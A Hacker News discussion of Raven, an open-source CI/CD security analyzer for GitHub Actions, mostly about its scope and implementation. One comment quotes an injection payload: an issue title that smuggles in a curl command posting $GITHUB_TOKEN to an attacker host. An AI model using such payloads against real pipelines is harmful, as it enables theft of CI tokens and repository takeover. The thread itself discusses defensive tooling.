Hacker Newsnew | past | comments | ask | show | jobs | submitlogin
Raven – CI/CD Security Analyzer (github.com/cycodelabs)
68 points by wiradikusuma on Oct 31, 2023 | hide | past | favorite | 9 comments


The logo reminded me of Raven Software. Good times!


This sounds a lot like my memory of what Praetorian Chariot does (continuous security scanning and pentesting as a service). Very cool to see that idea in an open source tool.

https://www.praetorian.com/proactive-cybersecurity-technolog...


Does this only work with github actions?


Seems so, and also only .com not even GHE https://github.com/CycodeLabs/raven/blob/v1.0.3/src/download...

I have no earthly idea why a security tool would roll their own GitHub access library in python :-/


There is no official GitHub SDK for Python. It's easy enough to do it anyway. This is not authentication logic either.


PyGithub has existed for ages, even if it is not official. GitHub only maintains octokit for JS, Ruby, .NET, and Terraform.


`new issue title" && curl hacker.boi -d $GITHUB_TOKEN && sleep 30` I hate pipelines even more :(


This looks like a great tool, how would one go about running this periodically for an org?


Gha cron




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: